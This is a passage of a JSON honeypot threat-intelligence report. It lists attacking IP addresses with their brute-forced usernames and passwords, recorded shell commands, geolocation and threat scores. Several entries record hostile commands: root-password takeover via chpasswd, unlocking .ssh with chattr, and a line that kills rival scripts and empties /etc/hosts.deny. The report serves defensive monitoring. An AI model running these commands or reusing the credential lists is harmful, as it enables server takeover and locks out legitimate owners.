      "first_seen": "2026-03-02T00:05:30.100Z",
      "last_seen": "2026-03-18T05:59:29.187Z",
      "sessions": 166,
      "ports": [],
      "usernames_attempted": [
        "systems",
        "admin",
        "emo",
        "pbxsystem",
        "admin2",
        "centos",
        "issabel",
        "root",
        "sangoma",
        "Accept: */*",
        "GET / HTTP/1.0",
        "hapoop",
        "t3rr0r"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025",
        "Itsemoemo2025@Fuck@allPBX",
        "vivo@01011",
        "pbx@01011",
        "t3rr0rt3rr0r",
        "",
        "User-Agent: ivre-masscan/1.3 https://github.com/robertdavidgraham/"
      ],
      "commands_executed": [
        "echo login_success",
        "ls -la /",
        "uname -a"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 57.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 460984,
        "days_active_30d": 19,
        "ports_targeted_30d": 67801,
        "honeypots_triggered_30d": 18,
        "first_seen_30d": "2026-03-02T00:00:47.831000+00:00",
        "last_seen_30d": "2026-03-20T17:07:53.471000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 280692,
        "Honeytrap": 179507,
        "Cowrie": 621,
        "Dionaea": 44,
        "Miniprint": 35,
        "Redishoneypot": 21,
        "ConPot": 17,
        "Adbhoney": 10,
        "Dicompot": 7,
        "Tanner": 7,
        "H0neytr4p": 5,
        "Honeyaml": 4,
        "ElasticPot": 3,
        "Ciscoasa": 2,
        "Ipphoney": 2,
        "Sentrypeer": 2,
        "Medpot": 1
      }
    },
    "202.165.16.9": {
      "attack_count": 524,
      "first_seen": "2026-03-02T20:24:14.128Z",
      "last_seen": "2026-03-04T14:49:42.191Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613f",
        "123.com.cn",
        "123456a@",
        "1234qwerty",
        "1234rfv",
        "123@qwer",
        "1qaz$RFV",
        "Abc12345!",
        "Bingo@1993",
        "Deneme123",
        "Passw0rd!@#$",
        "Welcome@1234",
        "ZAQ123wsx",
        "a2008",
        "aaaaaaaaaa",
        "atmosphere",
        "hahaha",
        "jimmy"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1233218613f\\npbea6jPpz85R\\npbea6jPpz85R\\n\"|passwd",
        "echo \"root:DpYTEMVbuDWm\"|chpasswd|bash",
        "echo \"root:QP80toGTfkfR\"|chpasswd|bash",
        "echo \"root:Yorp4xmBkjWn\"|chpasswd|bash",
        "echo \"root:cPIgksmziS7T\"|chpasswd|bash",
        "echo \"root:gPttFB2x4QKv\"|chpasswd|bash",
        "echo -e \"1233218613f\\npbea6jPpz85R\\npbea6jPpz85R\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": null,
      "asn": 18206,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 606,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:24:14.128000+00:00",
        "last_seen_30d": "2026-03-04T14:50:46.687000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 524,
        "Suricata": 82
      }
    },
    "103.72.147.99": {
      "attack_count": 459,
      "first_seen": "2026-03-05T19:02:42.452Z",
      "last_seen": "2026-03-29T17:41:00.716Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ansible",
        "khalil",
        "Guest",
        "andrei",
        "deamon_root",
        "evil",
        "jhlee",
        "lcx",
        "localhost",
        "sistemas",
        "student10",
        "user",
        "wialon",
        "www",
        "zhangjh"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ1qaz.",
        "!QAZ2wsx",
        "0007",
        "1234",
        "12345",
        "123456",
        "ASDFGH",
        "Admin#2025",
        "Demo@123",
        "Evil123!",
        "Guest1234",
        "Jupiter2024",
        "Pa$$w0rD",
        "Passw0RD",
        "Q1w2e3q1w2e3",
        "Qazwsx123!@#",
        "Qq147258",
        "Qwerty"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"ansible123\\nWPX9Lh8cD0H1\\nWPX9Lh8cD0H1\\n\"|passwd",
        "echo \"khalil1234\\nl5I4hZyVIEUs\\nl5I4hZyVIEUs\\n\"|passwd",
        "echo \"root:6SVAuhwtLBSi\"|chpasswd|bash",
        "echo \"root:fhLKAAVztPdP\"|chpasswd|bash",
        "echo -e \"ansible123\\nWPX9Lh8cD0H1\\nWPX9Lh8cD0H1\"|passwd|bash",
        "echo -e \"khalil1234\\nl5I4hZyVIEUs\\nl5I4hZyVIEUs\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 56.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.5,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 567,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T19:02:42.452000+00:00",
        "last_seen_30d": "2026-03-29T17:42:09.587000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 459,
        "Suricata": 108
      }
    },
    "202.4.106.201": {
      "attack_count": 443,
      "first_seen": "2026-03-09T17:29:58.687Z",
      "last_seen": "2026-03-23T23:35:51.455Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "maks",
        "svn",
        "zhanghang",
        "admin1234",
        "dls",
        "dmdba",
        "ernesto",
        "ftb",
        "mark",
        "prashant",
        "prova",
        "roy",
        "stream",
        "team1",
        "ubuntu",
        "user1",
        "youssef"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "12345",
        "12345678",
        "1234",
        "Aa147258!",
        "Abc@123123",
        "Stream123",
        "Test.123",
        "admin1234pass",
        "ftb",
        "mark",
        "rootroot",
        "svn123",
        "user1123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345\\nzKbKXEuDdqGC\\nzKbKXEuDdqGC\\n\"|passwd",
        "echo \"password\\nPGXkY3qyNLtm\\nPGXkY3qyNLtm\\n\"|passwd",
        "echo \"root:4RfmgJLjbCI1\"|chpasswd|bash",
        "echo \"root:ZI4EvCNYKwh3\"|chpasswd|bash",
        "echo \"svn123\\naam4U2LZuUqt\\naam4U2LZuUqt\\n\"|passwd",
        "echo -e \"12345\\nzKbKXEuDdqGC\\nzKbKXEuDdqGC\"|passwd|bash",
        "echo -e \"password\\nPGXkY3qyNLtm\\nPGXkY3qyNLtm\"|passwd|bash",
        "echo -e \"svn123\\naam4U2LZuUqt\\naam4U2LZuUqt\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 23956,
      "as_org": "AmberIT Limited",
      "threat_score": 37.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 511,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T17:29:58.687000+00:00",
        "last_seen_30d": "2026-03-23T23:36:54.053000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 443,
        "Suricata": 68
      }
    },
    "103.49.238.236": {
      "attack_count": 375,
      "first_seen": "2026-03-16T08:57:22.825Z",
      "last_seen": "2026-03-21T14:30:27.867Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "abdel",
        "hong",
        "wei",
        "amir",
        "bin",
        "bot1",
        "es",
        "gianluca",
        "omm",
        "peer",
        "perforce",
        "purple",
        "pzuser",
        "srs",
        "webapp",
        "zhangliang",
        "znc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "1234",
        "12345",
        "12345678",
        "1qaz!qaz",
        "Aa520520",
        "Hong123",
        "Perforce123!",
        "abdelpass",
        "es@123",
        "gianluca",
        "gov",
        "password",
        "peerpass",
        "purple",
        "pzuser1234",
        "srs1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nGC21mMKUChod\\nGC21mMKUChod\\n\"|passwd",
        "echo \"Hong123\\nFifOlEr2gIMK\\nFifOlEr2gIMK\\n\"|passwd",
        "echo \"abdelpass\\nWwJAYYL2DKya\\nWwJAYYL2DKya\\n\"|passwd",
        "echo \"root:GJoH8xEyrgEM\"|chpasswd|bash",
        "echo -e \"123456\\nGC21mMKUChod\\nGC21mMKUChod\"|passwd|bash",
        "echo -e \"Hong123\\nFifOlEr2gIMK\\nFifOlEr2gIMK\"|passwd|bash",
        "echo -e \"abdelpass\\nWwJAYYL2DKya\\nWwJAYYL2DKya\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T08:57:22.825000+00:00",
        "last_seen_30d": "2026-03-21T14:31:31.460000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 375,
        "Suricata": 64
      }
    },
    "74.88.7.20": {
      "attack_count": 367,
      "first_seen": "2026-03-08T04:16:04.271Z",
      "last_seen": "2026-03-10T12:15:28.023Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "music",
        "clawd",
        "ernesto",
        "sg",
        "testuser",
        "beehive",
        "hosting",
        "in",
        "javier",
        "krishna",
        "mm",
        "newusername",
        "obc",
        "omm",
        "pro",
        "rahul",
        "root",
        "rramirez",
        "sftptest"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "password",
        "1234",
        "Ernesto123",
        "Omm123!",
        "Password@1",
        "Vpnbot123",
        "Zjm123",
        "clawd123",
        "ernesto123!",
        "hosting123",
        "mm1234",
        "music123!",
        "newusername123",
        "obcpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"music123!\\nYDbjdNv3Gl9g\\nYDbjdNv3Gl9g\\n\"|passwd",
        "echo \"sg1234\\ns1D9okMTNSad\\ns1D9okMTNSad\\n\"|passwd",
        "echo \"testuser\\ndyfnG3FNb1z9\\ndyfnG3FNb1z9\\n\"|passwd",
        "echo -e \"music123!\\nYDbjdNv3Gl9g\\nYDbjdNv3Gl9g\"|passwd|bash",
        "echo -e \"sg1234\\ns1D9okMTNSad\\ns1D9okMTNSad\"|passwd|bash",
        "echo -e \"testuser\\ndyfnG3FNb1z9\\ndyfnG3FNb1z9\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Norwalk",
      "asn": 6128,
      "as_org": "Cablevision Systems Corp.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.6,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 457,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T04:16:04.271000+00:00",
        "last_seen_30d": "2026-03-10T12:16:31.315000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 367,
        "Suricata": 90
      }
    },
    "161.97.110.253": {
      "attack_count": 354,
      "first_seen": "2026-03-06T12:07:49.626Z",
      "last_seen": "2026-03-20T15:59:05.028Z",
      "sessions": 69,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "contabo123",
        "123456",
        "abc123",
        "password12",
        "!root123",
        "#admin123",
        "#admin2026",
        "#admin_access",
        "#admin_contabo",
        "#admin_secure",
        "#admin_vps",
        "#root2026",
        "#root_access",
        "#root_admin",
        "#root_vps",
        "$admin123",
        "$root123",
        "16GB8VCPU",
        "16VCPU32G",
        "32GB16CPU"
      ],
      "commands_executed": [
        "env | head -10",
        "mount | head -5",
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 37.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.9,
        "persistence": 12.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 616,
        "days_active_30d": 15,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-06T04:28:15.225000+00:00",
        "last_seen_30d": "2026-03-20T16:00:11.350000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 354,
        "Suricata": 249,
        "Honeytrap": 13
      }
    },
    "222.232.176.7": {
      "attack_count": 330,
      "first_seen": "2026-03-25T20:44:31.084Z",
      "last_seen": "2026-03-29T11:13:46.106Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "yogi",
        "itsupport",
        "karin",
        "relaxbckp",
        "sysckp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!qa@ws#ed",
        "1qaz!@#",
        "5211314.",
        "Password@1",
        "Pwd@CentOS",
        "Qazwsx123456789",
        "Root12345@",
        "abcd123456!",
        "bingo123",
        "branburica",
        "dxyh@#13915417585",
        "fuckthat",
        "hello2024",
        "itsupport",
        "karin",
        "mickey123",
        "nothing1234",
        "pass@word12#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:UFMOdBs7fWDo\"|chpasswd|bash",
        "echo \"root:j1qXlULCh1vD\"|chpasswd|bash",
        "echo \"yogi\\nQMkUTb7Jqnwp\\nQMkUTb7Jqnwp\\n\"|passwd",
        "echo -e \"yogi\\nQMkUTb7Jqnwp\\nQMkUTb7Jqnwp\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Busan",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 39.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 405,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T20:44:31.084000+00:00",
        "last_seen_30d": "2026-03-29T11:14:51.565000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 75
      }
    },
    "103.24.63.85": {
      "attack_count": 309,
      "first_seen": "2026-03-11T17:38:12.984Z",
      "last_seen": "2026-03-11T19:31:47.922Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "es",
        "guest",
        "hadoop",
        "postgres",
        "sonar",
        "steam",
        "www",
        "admin",
        "demo",
        "deploy",
        "dev",
        "dolphinscheduler",
        "elasticsearch",
        "esroot",
        "esuser",
        "ftpuser",
        "gitlab",
        "gitlab-runner"
      ],
      "passwords_attempted": [
        "123456",
        "!QAZ2wsx",
        "!Qaz@Wsx",
        "1",
        "1q2w3e4r",
        "1qaz2wsx",
        "1qaz@WSX",
        "4e2q1w3r",
        "AA123456",
        "Ac123456",
        "Password1",
        "QQ123456",
        "a123456A",
        "aa123456",
        "admin123",
        "demo",
        "deploy123",
        "dev",
        "dolphinscheduler",
        "es123456"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 55862,
      "as_org": "Wan & Lan Internet Pvt Ltd",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 454,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T17:38:12.984000+00:00",
        "last_seen_30d": "2026-03-11T19:32:53.192000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 309,
        "Suricata": 145
      }
    },
    "51.68.65.117": {
      "attack_count": 262,
      "first_seen": "2026-03-12T00:47:00.594Z",
      "last_seen": "2026-03-12T01:07:15.460Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "ftpuser",
        "n8n",
        "syh",
        "amine",
        "fastuser",
        "lekaren",
        "mslee21",
        "player"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123qwe!!!",
        "@123456",
        "Aa12345!",
        "Player123",
        "Syh123",
        "amine1234",
        "fastuser1234",
        "ftpuser2025",
        "mslee211234",
        "n8n"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Syh123\\nvBqB3mJCAHJV\\nvBqB3mJCAHJV\\n\"|passwd",
        "echo \"ftpuser2025\\nJ6Cm6t5bLjza\\nJ6Cm6t5bLjza\\n\"|passwd",
        "echo \"n8n\\nAoLgR3gVe2bQ\\nAoLgR3gVe2bQ\\n\"|passwd",
        "echo -e \"Syh123\\nvBqB3mJCAHJV\\nvBqB3mJCAHJV\"|passwd|bash",
        "echo -e \"ftpuser2025\\nJ6Cm6t5bLjza\\nJ6Cm6t5bLjza\"|passwd|bash",
        "echo -e \"n8n\\nAoLgR3gVe2bQ\\nAoLgR3gVe2bQ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T00:47:00.594000+00:00",
        "last_seen_30d": "2026-03-12T01:08:19.404000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 38
      }
    },
    "36.255.223.75": {
      "attack_count": 257,
      "first_seen": "2026-03-25T22:20:23.832Z",
      "last_seen": "2026-03-26T18:45:30.513Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "tian",
        "tms",
        "yy",
        "admin",
        "apolo",
        "hyun",
        "java",
        "root",
        "tmp",
        "youssef"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "a111222",
        "hyunpass",
        "java123!",
        "password",
        "tian123!",
        "tmp1234",
        "youssef123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nBrMqDAIIhVFJ\\nBrMqDAIIhVFJ\\n\"|passwd",
        "echo \"password\\nNMcxvBosMB2e\\nNMcxvBosMB2e\\n\"|passwd",
        "echo \"tian123!\\nlHtsWjPRbULK\\nlHtsWjPRbULK\\n\"|passwd",
        "echo -e \"1234\\nBrMqDAIIhVFJ\\nBrMqDAIIhVFJ\"|passwd|bash",
        "echo -e \"password\\nNMcxvBosMB2e\\nNMcxvBosMB2e\"|passwd|bash",
        "echo -e \"tian123!\\nlHtsWjPRbULK\\nlHtsWjPRbULK\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
